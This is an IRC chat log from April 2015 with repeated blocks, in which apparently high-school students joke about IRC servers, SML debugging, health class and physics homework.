[2015-04-14T20:36:57-0400] alokpathy is connecting from alokpathy@104.236.15.100 104.236.15.100
[2015-04-14T20:36:57-0400] alokpathy is on #pdgn #block +#plaid 
[2015-04-14T20:36:57-0400] alokpathy is connected on columba.pdgn.co (The Pdgn Network)
[2015-04-14T20:36:57-0400] alokpathy is using modes +rx
[2015-04-14T20:36:57-0400] alokpathy is using a secure connection
[2015-04-14T20:36:57-0400] alokpathy is logged in as alokpathy
[2015-04-14T20:36:57-0400] alokpathy is a registered nick
[2015-04-14T20:36:57-0400] alokpathy signed on at March 10, 2015 at 1:13:14 PM EDT and has been idle for 20 hours, 1 minute, 10 seconds
[2015-04-14T20:36:59-0400] ajvpot has userhost ajvpot@pdgn-vpb.85m.dnqbug.IP and real name “ajvpot”
[2015-04-14T20:36:59-0400] ajvpot is connecting from ajvpot@rhythm.derphost.com 192.73.236.137
[2015-04-14T20:36:59-0400] ajvpot is on #pdgn ##CTCTF 
[2015-04-14T20:36:59-0400] ajvpot is connected on raphus.pdgn.co (The Pdgn Network)
[2015-04-14T20:36:59-0400] ajvpot is using modes +x
[2015-04-14T20:36:59-0400] ajvpot is using a secure connection
[2015-04-14T20:36:59-0400] ajvpot signed on at April 5, 2015 at 2:34:37 PM EDT and has been idle for 9 days, 6 hours, 2 minutes, 21 seconds
[2015-04-14T20:39:44-0400] <+awe> r00dServ: it should work now.
[2015-04-14T20:40:04-0400] <+awe> Man, all these new servers don't work very well. None of them respond to HELP messages.
[2015-04-14T20:40:58-0400] <j> you suck
[2015-04-14T20:41:09-0400] <+awe> j: I suck...?
[2015-04-14T20:41:36-0400] <j> new servers suck
[2015-04-14T20:41:41-0400] <j> you made new servers
[2015-04-14T20:41:44-0400] <j> therefore you suck
[2015-04-14T20:41:46-0400] <+awe> I didn't make them.
[2015-04-14T20:41:50-0400] <+awe> These people made them.
[2015-04-14T20:41:51-0400] <j> sh
[2015-04-14T20:41:57-0400] <+awe> Or rather, they became them.
[2015-04-14T20:42:03-0400] <j> whaaaa
[2015-04-14T20:42:13-0400] <MomServ> HELP
[2015-04-14T20:45:21-0400] <r00dServ> awe: ty
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[2015-04-14T20:59:28-0400] <LittleBobbyTables> ur whalecum
[2015-04-14T21:00:45-0400] <kenzierocks> u w0t
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[2015-04-14T18:56:18-0400] <fwilson> solarized dark is a *lot* easier on my eyes lol
[2015-04-14T18:56:23-0400] <fwilson> well now i know
[2015-04-14T18:56:39-0400] <LittleBobbyTables> :P
[2015-04-14T18:56:46-0400] <LittleBobbyTables> Try darcula
[2015-04-14T18:57:18-0400] <fwilson> meh, maybe later
[2015-04-14T19:01:48-0400] <LittleBobbyTables> actually
[2015-04-14T19:01:53-0400] <LittleBobbyTables> I forgot the site
[2015-04-14T19:01:58-0400] <LittleBobbyTables> but there's a site that you can just browse themes
[2015-04-14T19:03:30-0400] <fwilson> yeah i found it
[2015-04-14T20:31:10-0400] <+awe> [18:38:56]  <{{{{{{{{{{{{{{{{{{{{kenzierocks>	awe: can you setup /*s commands like /ns -> nickserv ?
[2015-04-14T20:31:14-0400] <+awe> kenzierocks: That should already be set up.
[2015-04-14T20:32:03-0400] <kenzierocks> * NS :Unknown command
[2015-04-14T20:32:07-0400] <kenzierocks> :|
[2015-04-14T20:32:52-0400] <+awe> Let me check.
[2015-04-14T20:32:54-0400] <+awe> I might've turned it off.
[2015-04-14T20:39:46-0400] <+awe> r00dServ: it should work now.
[2015-04-14T20:40:04-0400] <+awe> Man, all these new servers don't work very well. None of them respond to HELP messages.
[2015-04-14T20:40:58-0400] <j> you suck
[2015-04-14T20:41:09-0400] <+awe> j: I suck...?
[2015-04-14T20:41:36-0400] <j> new servers suck
[2015-04-14T20:41:41-0400] <j> you made new servers
[2015-04-14T20:41:44-0400] <j> therefore you suck
[2015-04-14T20:41:46-0400] <+awe> I didn't make them.
[2015-04-14T20:41:50-0400] <+awe> These people made them.
[2015-04-14T20:41:51-0400] <j> sh
[2015-04-14T20:41:57-0400] <+awe> Or rather, they became them.
[2015-04-14T20:42:03-0400] <j> whaaaa
[2015-04-14T20:42:13-0400] <MomServ> HELP
[2015-04-14T20:45:21-0400] <r00dServ> awe: ty
[2015-04-14T20:59:28-0400] <LittleBobbyTables> ur whalecum
[2015-04-14T21:00:45-0400] <kenzierocks> u w0t
[2015-04-14T22:03:34-0400] <grantwu> WHY MY CODE NO WORK ARGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
[2015-04-14T22:12:20-0400] <alokpathy> The struggle is too real
[2015-04-14T22:15:08-0400] <grantwu> mraow alokpathy how are you
[2015-04-14T22:19:46-0400] <alokpathy> grantwu: Doing 'swell
[2015-04-14T22:19:53-0400] <grantwu> Goddamn functional languages!
[2015-04-14T22:19:54-0400] <alokpathy> Don't have much to do today
[2015-04-14T22:19:56-0400] <grantwu> Or rather
[2015-04-14T22:20:01-0400] <grantwu> Goddamn SML!
[2015-04-14T22:20:19-0400] <grantwu> This class doesn't actually teach me the syntax!
[2015-04-14T22:20:23-0400] <alokpathy> lolwut
[2015-04-14T22:20:26-0400] <grantwu> Steps to debug SML:
[2015-04-14T22:20:31-0400] <grantwu> 1. Add parentheses.
[2015-04-14T22:20:35-0400] <grantwu> 2. Add more parentheses.
[2015-04-14T22:20:43-0400] <grantwu> 3. Add even more parentheses.
[2015-04-14T22:20:47-0400] <grantwu> 4. Give up and start over.
[2015-04-14T22:22:09-0400] <alokpathy> lel gg
[2015-04-14T22:23:52-0400] <LittleBobbyTables> Isn't that Lisp
[2015-04-14T22:24:15-0400] <grantwu> With SML, you too can be lost in a sea of parentheses
[2015-04-14T22:28:13-0400] <kenzierocks> i use java
[2015-04-14T22:46:32-0400] Mode is +nrt
[2015-04-14T22:47:37-0400] <+awe> grantwu: functional languages are amazing, don't damn them.
[2015-04-14T22:47:44-0400] <+awe> grantwu: you're just using a really weird one. :)
[2015-04-14T22:52:43-0400] <grantwu> It wanted "ParentPrune"
[2015-04-14T22:52:47-0400] <grantwu> I typed "ParentPruned"
[2015-04-14T22:53:03-0400] <grantwu> so it turned ParentPruned into a variable and gave a redundant match on all following cases
[2015-04-14T22:55:27-0400] <+awe> Lol.
[2015-04-14T22:56:26-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=Ce3xJWe-x4A
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[2015-04-15T00:29:13-0400] <grantwu> Gahhhhhh
[2015-04-15T00:29:22-0400] <grantwu> My alpha-beta pruning doesn't work whyyy
[2015-04-15T00:32:13-0400] <LittleBobbyTables> Need some gamma-delta
[2015-04-15T00:48:40-0400] <+awe> grantwu: you forgot to factor in omega.
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[2015-04-15T06:21:14-0400] <JacobEdelman> Gmorning all
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[2015-04-14T20:32:07-0400] <kenzierocks> :|
[2015-04-14T20:32:52-0400] <+awe> Let me check.
[2015-04-14T20:32:54-0400] <+awe> I might've turned it off.
[2015-04-14T20:39:46-0400] <+awe> r00dServ: it should work now.
[2015-04-14T20:40:04-0400] <+awe> Man, all these new servers don't work very well. None of them respond to HELP messages.
[2015-04-14T20:40:58-0400] <j> you suck
[2015-04-14T20:41:09-0400] <+awe> j: I suck...?
[2015-04-14T20:41:36-0400] <j> new servers suck
[2015-04-14T20:41:41-0400] <j> you made new servers
[2015-04-14T20:41:44-0400] <j> therefore you suck
[2015-04-14T20:41:46-0400] <+awe> I didn't make them.
[2015-04-14T20:41:50-0400] <+awe> These people made them.
[2015-04-14T20:41:51-0400] <j> sh
[2015-04-14T20:41:57-0400] <+awe> Or rather, they became them.
[2015-04-14T20:42:03-0400] <j> whaaaa
[2015-04-14T20:42:13-0400] <MomServ> HELP
[2015-04-14T20:45:21-0400] <r00dServ> awe: ty
[2015-04-14T20:59:28-0400] <LittleBobbyTables> ur whalecum
[2015-04-14T21:00:45-0400] <kenzierocks> u w0t
[2015-04-14T22:03:34-0400] <grantwu> WHY MY CODE NO WORK ARGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
[2015-04-14T22:12:20-0400] <alokpathy> The struggle is too real
[2015-04-14T22:15:08-0400] <grantwu> mraow alokpathy how are you
[2015-04-14T22:19:46-0400] <alokpathy> grantwu: Doing 'swell
[2015-04-14T22:19:53-0400] <grantwu> Goddamn functional languages!
[2015-04-14T22:19:54-0400] <alokpathy> Don't have much to do today
[2015-04-14T22:19:56-0400] <grantwu> Or rather
[2015-04-14T22:20:01-0400] <grantwu> Goddamn SML!
[2015-04-14T22:20:19-0400] <grantwu> This class doesn't actually teach me the syntax!
[2015-04-14T22:20:23-0400] <alokpathy> lolwut
[2015-04-14T22:20:26-0400] <grantwu> Steps to debug SML:
[2015-04-14T22:20:31-0400] <grantwu> 1. Add parentheses.
[2015-04-14T22:20:35-0400] <grantwu> 2. Add more parentheses.
[2015-04-14T22:20:43-0400] <grantwu> 3. Add even more parentheses.
[2015-04-14T22:20:47-0400] <grantwu> 4. Give up and start over.
[2015-04-14T22:22:09-0400] <alokpathy> lel gg
[2015-04-14T22:23:52-0400] <LittleBobbyTables> Isn't that Lisp
[2015-04-14T22:24:15-0400] <grantwu> With SML, you too can be lost in a sea of parentheses
[2015-04-14T22:28:13-0400] <kenzierocks> i use java
[2015-04-14T22:47:37-0400] <+awe> grantwu: functional languages are amazing, don't damn them.
[2015-04-14T22:47:44-0400] <+awe> grantwu: you're just using a really weird one. :)
[2015-04-14T22:52:43-0400] <grantwu> It wanted "ParentPrune"
[2015-04-14T22:52:46-0400] <grantwu> I typed "ParentPruned"
[2015-04-14T22:53:03-0400] <grantwu> so it turned ParentPruned into a variable and gave a redundant match on all following cases
[2015-04-14T22:55:26-0400] <+awe> Lol.
[2015-04-14T22:56:26-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=Ce3xJWe-x4A
[2015-04-15T00:29:13-0400] <grantwu> Gahhhhhh
[2015-04-15T00:29:22-0400] <grantwu> My alpha-beta pruning doesn't work whyyy
[2015-04-15T00:32:13-0400] <LittleBobbyTables> Need some gamma-delta
[2015-04-15T00:48:40-0400] <+awe> grantwu: you forgot to factor in omega.
[2015-04-15T06:21:14-0400] <JacobEdelman> Gmorning all
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[2015-04-14T20:32:07-0400] <kenzierocks> :|
[2015-04-14T20:32:52-0400] <+awe> Let me check.
[2015-04-14T20:32:54-0400] <+awe> I might've turned it off.
[2015-04-14T20:39:46-0400] <+awe> r00dServ: it should work now.
[2015-04-14T20:40:04-0400] <+awe> Man, all these new servers don't work very well. None of them respond to HELP messages.
[2015-04-14T20:40:58-0400] <j> you suck
[2015-04-14T20:41:09-0400] <+awe> j: I suck...?
[2015-04-14T20:41:36-0400] <j> new servers suck
[2015-04-14T20:41:41-0400] <j> you made new servers
[2015-04-14T20:41:44-0400] <j> therefore you suck
[2015-04-14T20:41:46-0400] <+awe> I didn't make them.
[2015-04-14T20:41:50-0400] <+awe> These people made them.
[2015-04-14T20:41:51-0400] <j> sh
[2015-04-14T20:41:57-0400] <+awe> Or rather, they became them.
[2015-04-14T20:42:03-0400] <j> whaaaa
[2015-04-14T20:42:13-0400] <MomServ> HELP
[2015-04-14T20:45:21-0400] <r00dServ> awe: ty
[2015-04-14T20:59:28-0400] <LittleBobbyTables> ur whalecum
[2015-04-14T21:00:45-0400] <kenzierocks> u w0t
[2015-04-14T22:03:34-0400] <grantwu> WHY MY CODE NO WORK ARGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
[2015-04-14T22:12:20-0400] <alokpathy> The struggle is too real
[2015-04-14T22:15:08-0400] <grantwu> mraow alokpathy how are you
[2015-04-14T22:19:46-0400] <alokpathy> grantwu: Doing 'swell
[2015-04-14T22:19:53-0400] <grantwu> Goddamn functional languages!
[2015-04-14T22:19:54-0400] <alokpathy> Don't have much to do today
[2015-04-14T22:19:56-0400] <grantwu> Or rather
[2015-04-14T22:20:01-0400] <grantwu> Goddamn SML!
[2015-04-14T22:20:19-0400] <grantwu> This class doesn't actually teach me the syntax!
[2015-04-14T22:20:23-0400] <alokpathy> lolwut
[2015-04-14T22:20:26-0400] <grantwu> Steps to debug SML:
[2015-04-14T22:20:31-0400] <grantwu> 1. Add parentheses.
[2015-04-14T22:20:35-0400] <grantwu> 2. Add more parentheses.
[2015-04-14T22:20:43-0400] <grantwu> 3. Add even more parentheses.
[2015-04-14T22:20:47-0400] <grantwu> 4. Give up and start over.
[2015-04-14T22:22:09-0400] <alokpathy> lel gg
[2015-04-14T22:23:52-0400] <LittleBobbyTables> Isn't that Lisp
[2015-04-14T22:24:15-0400] <grantwu> With SML, you too can be lost in a sea of parentheses
[2015-04-14T22:28:13-0400] <kenzierocks> i use java
[2015-04-14T22:47:37-0400] <+awe> grantwu: functional languages are amazing, don't damn them.
[2015-04-14T22:47:44-0400] <+awe> grantwu: you're just using a really weird one. :)
[2015-04-14T22:52:43-0400] <grantwu> It wanted "ParentPrune"
[2015-04-14T22:52:46-0400] <grantwu> I typed "ParentPruned"
[2015-04-14T22:53:03-0400] <grantwu> so it turned ParentPruned into a variable and gave a redundant match on all following cases
[2015-04-14T22:55:26-0400] <+awe> Lol.
[2015-04-14T22:56:26-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=Ce3xJWe-x4A
[2015-04-15T00:29:13-0400] <grantwu> Gahhhhhh
[2015-04-15T00:29:22-0400] <grantwu> My alpha-beta pruning doesn't work whyyy
[2015-04-15T00:32:13-0400] <LittleBobbyTables> Need some gamma-delta
[2015-04-15T00:48:40-0400] <+awe> grantwu: you forgot to factor in omega.
[2015-04-15T06:21:14-0400] <JacobEdelman> Gmorning all
[2015-04-15T11:17:03-0400] Mode is +nrt
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[2015-04-14T20:32:07-0400] <kenzierocks> :|
[2015-04-14T20:32:52-0400] <+awe> Let me check.
[2015-04-14T20:32:54-0400] <+awe> I might've turned it off.
[2015-04-14T20:39:46-0400] <+awe> r00dServ: it should work now.
[2015-04-14T20:40:04-0400] <+awe> Man, all these new servers don't work very well. None of them respond to HELP messages.
[2015-04-14T20:40:58-0400] <j> you suck
[2015-04-14T20:41:09-0400] <+awe> j: I suck...?
[2015-04-14T20:41:36-0400] <j> new servers suck
[2015-04-14T20:41:41-0400] <j> you made new servers
[2015-04-14T20:41:44-0400] <j> therefore you suck
[2015-04-14T20:41:46-0400] <+awe> I didn't make them.
[2015-04-14T20:41:50-0400] <+awe> These people made them.
[2015-04-14T20:41:51-0400] <j> sh
[2015-04-14T20:41:57-0400] <+awe> Or rather, they became them.
[2015-04-14T20:42:03-0400] <j> whaaaa
[2015-04-14T20:42:13-0400] <MomServ> HELP
[2015-04-14T20:45:21-0400] <r00dServ> awe: ty
[2015-04-14T20:59:28-0400] <LittleBobbyTables> ur whalecum
[2015-04-14T21:00:45-0400] <kenzierocks> u w0t
[2015-04-14T22:03:34-0400] <grantwu> WHY MY CODE NO WORK ARGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
[2015-04-14T22:12:20-0400] <alokpathy> The struggle is too real
[2015-04-14T22:15:08-0400] <grantwu> mraow alokpathy how are you
[2015-04-14T22:19:46-0400] <alokpathy> grantwu: Doing 'swell
[2015-04-14T22:19:53-0400] <grantwu> Goddamn functional languages!
[2015-04-14T22:19:54-0400] <alokpathy> Don't have much to do today
[2015-04-14T22:19:56-0400] <grantwu> Or rather
[2015-04-14T22:20:01-0400] <grantwu> Goddamn SML!
[2015-04-14T22:20:19-0400] <grantwu> This class doesn't actually teach me the syntax!
[2015-04-14T22:20:23-0400] <alokpathy> lolwut
[2015-04-14T22:20:26-0400] <grantwu> Steps to debug SML:
[2015-04-14T22:20:31-0400] <grantwu> 1. Add parentheses.
[2015-04-14T22:20:35-0400] <grantwu> 2. Add more parentheses.
[2015-04-14T22:20:43-0400] <grantwu> 3. Add even more parentheses.
[2015-04-14T22:20:47-0400] <grantwu> 4. Give up and start over.
[2015-04-14T22:22:09-0400] <alokpathy> lel gg
[2015-04-14T22:23:52-0400] <LittleBobbyTables> Isn't that Lisp
[2015-04-14T22:24:15-0400] <grantwu> With SML, you too can be lost in a sea of parentheses
[2015-04-14T22:28:13-0400] <kenzierocks> i use java
[2015-04-14T22:47:37-0400] <+awe> grantwu: functional languages are amazing, don't damn them.
[2015-04-14T22:47:44-0400] <+awe> grantwu: you're just using a really weird one. :)
[2015-04-14T22:52:43-0400] <grantwu> It wanted "ParentPrune"
[2015-04-14T22:52:46-0400] <grantwu> I typed "ParentPruned"
[2015-04-14T22:53:03-0400] <grantwu> so it turned ParentPruned into a variable and gave a redundant match on all following cases
[2015-04-14T22:55:26-0400] <+awe> Lol.
[2015-04-14T22:56:26-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=Ce3xJWe-x4A
[2015-04-15T00:29:13-0400] <grantwu> Gahhhhhh
[2015-04-15T00:29:22-0400] <grantwu> My alpha-beta pruning doesn't work whyyy
[2015-04-15T00:32:13-0400] <LittleBobbyTables> Need some gamma-delta
[2015-04-15T00:48:40-0400] <+awe> grantwu: you forgot to factor in omega.
[2015-04-15T06:21:14-0400] <JacobEdelman> Gmorning all
[2015-04-15T12:09:07-0400] Mode is +nrt
[2015-04-15T12:09:20-0400] <+awe> Hi, JacobEdelman.
[2015-04-15T12:45:26-0400] <JacobEdelman> awe: hello
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[2015-04-15T15:26:01-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-14T22:19:54-0400] <alokpathy> Don't have much to do today
[2015-04-14T22:19:56-0400] <grantwu> Or rather
[2015-04-14T22:20:01-0400] <grantwu> Goddamn SML!
[2015-04-14T22:20:19-0400] <grantwu> This class doesn't actually teach me the syntax!
[2015-04-14T22:20:23-0400] <alokpathy> lolwut
[2015-04-14T22:20:26-0400] <grantwu> Steps to debug SML:
[2015-04-14T22:20:31-0400] <grantwu> 1. Add parentheses.
[2015-04-14T22:20:35-0400] <grantwu> 2. Add more parentheses.
[2015-04-14T22:20:43-0400] <grantwu> 3. Add even more parentheses.
[2015-04-14T22:20:47-0400] <grantwu> 4. Give up and start over.
[2015-04-14T22:22:09-0400] <alokpathy> lel gg
[2015-04-14T22:23:52-0400] <LittleBobbyTables> Isn't that Lisp
[2015-04-14T22:24:15-0400] <grantwu> With SML, you too can be lost in a sea of parentheses
[2015-04-14T22:28:13-0400] <kenzierocks> i use java
[2015-04-14T22:47:37-0400] <+awe> grantwu: functional languages are amazing, don't damn them.
[2015-04-14T22:47:44-0400] <+awe> grantwu: you're just using a really weird one. :)
[2015-04-14T22:52:43-0400] <grantwu> It wanted "ParentPrune"
[2015-04-14T22:52:46-0400] <grantwu> I typed "ParentPruned"
[2015-04-14T22:53:03-0400] <grantwu> so it turned ParentPruned into a variable and gave a redundant match on all following cases
[2015-04-14T22:55:26-0400] <+awe> Lol.
[2015-04-14T22:56:26-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=Ce3xJWe-x4A
[2015-04-15T00:29:13-0400] <grantwu> Gahhhhhh
[2015-04-15T00:29:22-0400] <grantwu> My alpha-beta pruning doesn't work whyyy
[2015-04-15T00:32:13-0400] <LittleBobbyTables> Need some gamma-delta
[2015-04-15T00:48:40-0400] <+awe> grantwu: you forgot to factor in omega.
[2015-04-15T06:21:14-0400] <JacobEdelman> Gmorning all
[2015-04-15T12:09:20-0400] <+awe> Hi, JacobEdelman.
[2015-04-15T12:45:26-0400] <JacobEdelman> awe: hello
[2015-04-15T14:09:18-0400] <grantwu> I should make my own PL
[2015-04-15T14:09:25-0400] <grantwu> Dromedary OCaml
[2015-04-15T14:09:40-0400] <grantwu> I mean we already have Bactrian OCaml
[2015-04-15T14:11:06-0400] <kenzierocks> for whom does the ocaml tool
[2015-04-15T14:11:10-0400] <kenzierocks> toll*
[2015-04-15T14:15:16-0400] <grantwu> Wat that doesn't make any seense
[2015-04-15T14:18:28-0400] <grantwu> Also instead of lambdas
[2015-04-15T14:18:34-0400] <grantwu> I'm going to have goatdas
[2015-04-15T14:21:03-0400] <grantwu> Also it will have a variant
[2015-04-15T14:21:08-0400] <grantwu> Fuzzy OCaml
[2015-04-15T14:21:13-0400] <grantwu> For when your camel is especially fuzzy
[2015-04-15T14:24:38-0400] <grantwu> Probabilistic programming language
[2015-04-15T14:39:46-0400] <JacobEdelman> I made a poem about my health class
[2015-04-15T14:39:50-0400] <JacobEdelman> I am stuck in health class
[2015-04-15T14:39:52-0400] <JacobEdelman> its so dumb
[2015-04-15T14:39:58-0400] <grantwu> bravo
[2015-04-15T14:40:00-0400] <grantwu> bravo
[2015-04-15T14:40:07-0400] <JacobEdelman> I, know, right?
[2015-04-15T14:40:16-0400] <JacobEdelman> its just, AGH
[2015-04-15T14:40:24-0400] <JacobEdelman> I am happy I have my computer
[2015-04-15T14:49:02-0400] <apothy> JacobEdelman: Now you can save somebody's life :P
[2015-04-15T14:49:11-0400] <apothy> JacobEdelman: Well, you will by the end, at least.
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[2015-04-15T15:31:46-0400] <j> 06:28:13 kenzierocks | i use java
[2015-04-15T15:31:48-0400] <j> :D
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[2015-04-15T17:28:34-0400] <sdamashek> lol health class
[2015-04-15T17:29:09-0400] <jwoglom> sdamashek: didn't you just have the last class of this quarter
[2015-04-15T17:29:16-0400] <sdamashek> jwoglom: yup!
[2015-04-15T17:29:25-0400] <jwoglom> so you took the 40 question county test
[2015-04-15T17:29:28-0400] <sdamashek> mhm
[2015-04-15T17:29:32-0400] <jwoglom> which is the same as the pretest you took on the first day? :P
[2015-04-15T17:29:41-0400] <sdamashek> and the same one he went over the answers for
[2015-04-15T17:29:43-0400] <sdamashek> yeah
[2015-04-15T17:29:57-0400] <jwoglom> heh, it's a pretty straightforward quarter :P
[2015-04-15T17:30:01-0400] <jwoglom> you have actual gym 4th?
[2015-04-15T17:30:11-0400] <sdamashek> sadly, I do
[2015-04-15T17:30:24-0400] <jwoglom> last year i had actual gym 1st and 2nd, then drivers ed and health
[2015-04-15T17:30:29-0400] <sdamashek> health was even more of a joke this year than freshman year
[2015-04-15T17:30:38-0400] <jwoglom> which was cool, got completely done with gym pretty early in the year
[2015-04-15T17:45:23-0400] <j> ha, gym!
[2015-04-15T17:45:33-0400] <j> do you guys take it all 4 years?
[2015-04-15T17:48:20-0400] <fwilson> kenzierocks00
[2015-04-15T17:48:22-0400] <fwilson> kenzierocks--
[2015-04-15T17:48:24-0400] <fwilson> for using java
[2015-04-15T17:50:22-0400] <+awe> fwilson++ for dank memes
[2015-04-15T17:50:27-0400] <fwilson> :D
[2015-04-15T17:50:29-0400] <fwilson> @karma
[2015-04-15T17:50:31-0400] <fwilson> @score
[2015-04-15T17:50:34-0400] <fwilson> @help
[2015-04-15T17:50:38-0400] <+awe> No help messages lol.
[2015-04-15T17:50:42-0400] <fwilson> @listentomeyoustupidbot
[2015-04-15T17:50:44-0400] <+awe> I should add a karma thing.
[2015-04-15T17:50:48-0400] <fwilson> yeah
[2015-04-15T17:50:50-0400] <fwilson> you should
[2015-04-15T17:50:55-0400] <+awe> But I bet you guys would abuse it.
[2015-04-15T17:50:59-0400] <jwoglom> j: only freshman and soph yr
[2015-04-15T17:51:11-0400] <jwoglom> and freshman is 3 quarters+health, soph 2qtrs+health+drivers ed
[2015-04-15T17:51:21-0400] <fwilson> lol health
[2015-04-15T17:51:27-0400] <fwilson> and for that matter, lol pe
[2015-04-15T17:51:36-0400] <+awe> Wow.
[2015-04-15T17:51:38-0400] <+awe> That's unfair.
[2015-04-15T17:51:48-0400] <+awe> I had to do four years of three quarters gym, one quarter health.
[2015-04-15T17:51:56-0400] <+awe> Well, sophomore year, we took driver's ed instead of health.
[2015-04-15T17:51:57-0400] <fwilson> gooo FCPS
[2015-04-15T17:51:57-0400] <+awe> But still.
[2015-04-15T17:53:21-0400] <fwilson> uhhhhhh
[2015-04-15T17:53:24-0400] <fwilson> uhhhhhhhhh
[2015-04-15T17:53:43-0400] <fwilson> jwoglom: can the physics teachers make something due tomorrow for red day physics
[2015-04-15T17:54:02-0400] <jwoglom> fwilson: the mops?
[2015-04-15T17:54:04-0400] <fwilson> yeah
[2015-04-15T17:54:13-0400] <jwoglom> Well they announced that in an email like before spring break
[2015-04-15T17:54:16-0400] <jwoglom> So
[2015-04-15T17:54:22-0400] <fwilson> meh
[2015-04-15T17:54:30-0400] <fwilson> they just gave us the form today though
[2015-04-15T17:54:38-0400] <j> oh wait yeah 2 years gym is all FCPS
[2015-04-15T17:54:41-0400] <jwoglom> Also that's the last day you can submit them
[2015-04-15T17:54:51-0400] <jwoglom> That was on bb for a while I think
[2015-04-15T17:54:56-0400] <fwilson> meh
[2015-04-15T17:55:14-0400] <jwoglom> Also, have fun, that took me like 3 hours -_-
[2015-04-15T17:55:20-0400] <fwilson> mfw i'm not doing them
[2015-04-15T17:55:30-0400] <fwilson> physics is unreasonable enough already
[2015-04-15T17:57:28-0400] <j> heh
[2015-04-15T17:57:42-0400] <fwilson> j: you don't understand, TJ physics is literally the worst
[2015-04-15T17:57:55-0400] <j> our school added a policy for physics where anything under a 50% is automatically bumped to a 50%
[2015-04-15T17:57:55-0400] <jwoglom> It's 5%
[2015-04-15T17:58:00-0400] <fwilson> jwoglom: exactly lol
[2015-04-15T17:58:10-0400] <j> because so many people were doing that bad
[2015-04-15T17:58:25-0400] <fwilson> also don't physics stickies undermine the ideals of the eighth period program
[2015-04-15T17:59:47-0400] <jwoglom> Yeah but its because academics trumps everything
[2015-04-15T17:59:50-0400] <jwoglom> In theory
[2015-04-15T18:03:23-0400] <fwilson> also don't physics stickies make coarse grade information directory information
[2015-04-15T18:03:45-0400] <fwilson> and isn't that actually a problem
[2015-04-15T18:25:25-0400] <sdamashek> very coarse
[2015-04-15T18:26:06-0400] <JacobEdelman> guys
[2015-04-15T18:26:10-0400] <JacobEdelman> #hs
[2015-04-15T18:26:15-0400] <JacobEdelman> for conversations about hs
[2015-04-15T18:26:38-0400] <JacobEdelman> (half the reason is cause tj conversation has become a huge part of pdgn)
[2015-04-15T18:26:44-0400] <JacobEdelman> (so now we have #hs too)
[2015-04-15T18:30:03-0400] JacobEdelman is now known as jacob
[2015-04-15T18:30:14-0400] jacob is now known as Jacob
[2015-04-15T18:30:50-0400] Jacob is now known as edelman
[2015-04-15T18:30:59-0400] edelman is now known as jacobe
[2015-04-15T18:31:29-0400] jacobe is now known as JacobEdelman
[2015-04-15T19:05:03-0400] <jwoglom> Well, I mean, no one else was holding any conversations
[2015-04-15T19:05:11-0400] <jwoglom> *any other
[2015-04-15T19:07:45-0400] <j> ^
[2015-04-15T19:07:47-0400] <j> no need tbh
[2015-04-15T19:08:35-0400] <jwoglom> Also, just because it includes some combination of fwilson sdamashek and I doesn't mean that it is a "TJ conversation "
[2015-04-15T19:13:53-0400] <j> yes
[2015-04-15T19:13:57-0400] <j> JacobEdelman is stupid
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[2015-04-15T19:36:26-0400] <LittleBobbyTables> We know
[2015-04-15T19:38:58-0400] <j> awe doesn't
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[2015-04-15T19:57:34-0400] <assface> ayy
[2015-04-15T20:02:48-0400] <fwilson> lmao
[2015-04-15T20:04:08-0400] <JacobEdelman> hello arseface
[2015-04-15T20:05:14-0400] <assface> hue
[2015-04-15T20:05:23-0400] <assface> it's funny that you still won't say my name
[2015-04-15T20:07:40-0400] <fwilson> hello assface
[2015-04-15T20:07:49-0400] <fwilson> also FTL is $2.49 on humble store
[2015-04-15T20:07:59-0400] <kenzierocks> already own it~
[2015-04-15T20:08:03-0400] <fwilson> if you don't
[2015-04-15T20:08:06-0400] <fwilson> now is a great time to buy it
[2015-04-15T20:08:10-0400] <fwilson> DRM free and steam keys
[2015-04-15T20:08:18-0400] <kenzierocks> STEAM
[2015-04-15T20:08:20-0400] <kenzierocks> GABEN
[2015-04-15T20:15:08-0400] <fwilson> yes
[2015-04-15T20:25:33-0400] <JacobEdelman> arseface: for some reason I doubt thats your name
[2015-04-15T20:25:34-0400] <JacobEdelman> :P
[2015-04-15T20:33:34-0400] <fwilson> *assface
[2015-04-15T21:00:44-0400] <JacobEdelman> *arseface
[2015-04-15T21:01:22-0400] <+awe> j: I definitely know that JacobEdelman is stupid.
[2015-04-15T21:06:16-0400] <j> awe: I recall you claiming he was in fact "smart" on several occasions.
[2015-04-15T21:06:25-0400] <+awe> He is smart in some ways, but also very stupid.
[2015-04-15T21:07:42-0400] <j> In what ways is he smart?
[2015-04-15T21:08:29-0400] <+awe> I guarantee you he knows more about computing than you do.
[2015-04-15T21:09:00-0400] <j> Interesting
[2015-04-15T21:10:42-0400] <j> However, say I know absolutely nothing about computing, and he knows one single thing. That only makes him smart compared to me, nobody else. I do not see that as a valid measurement of him being generally "smart".
[2015-04-15T21:11:40-0400] <+awe> He is very knowledgeable about computing.
[2015-04-15T21:11:48-0400] <+awe> He is very lacking in knowledge about computers.
[2015-04-15T21:11:58-0400] <+awe> He is also lacking in various areas that most would consider common sense.
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[2015-04-15T22:17:08-0400] <fwilson> very fastly
[2015-04-15T22:17:16-0400] <kenzierocks> .999999999999....v.99999999999999999999999999999999 me m9
[2015-04-15T22:17:18-0400] <j> fwilson: gimme street
[2015-04-15T22:17:19-0400] <fwilson> except
[2015-04-15T22:17:21-0400] <fwilson> wat
[2015-04-15T22:17:23-0400] <fwilson> wat
[2015-04-15T22:17:28-0400] <fwilson> jwoglom: who is Tina Gibson
[2015-04-15T22:19:14-0400] <jwoglom> my aunt
[2015-04-15T22:19:26-0400] <jwoglom> she still technically owns the domain
[2015-04-15T22:19:50-0400] <jwoglom> she did it under her account since she already owned several and it was cheaper that way
[2015-04-15T22:20:08-0400] <j> Well I have fwilson's number
[2015-04-15T22:20:11-0400] <j> that's about it :(
[2015-04-15T22:21:09-0400] <fwilson> jwoglom: ah lol
[2015-04-15T22:21:18-0400] <fwilson> j: it's actually really easy to find my address but please don't
[2015-04-15T22:21:31-0400] • jwoglom: opens the stalkernet
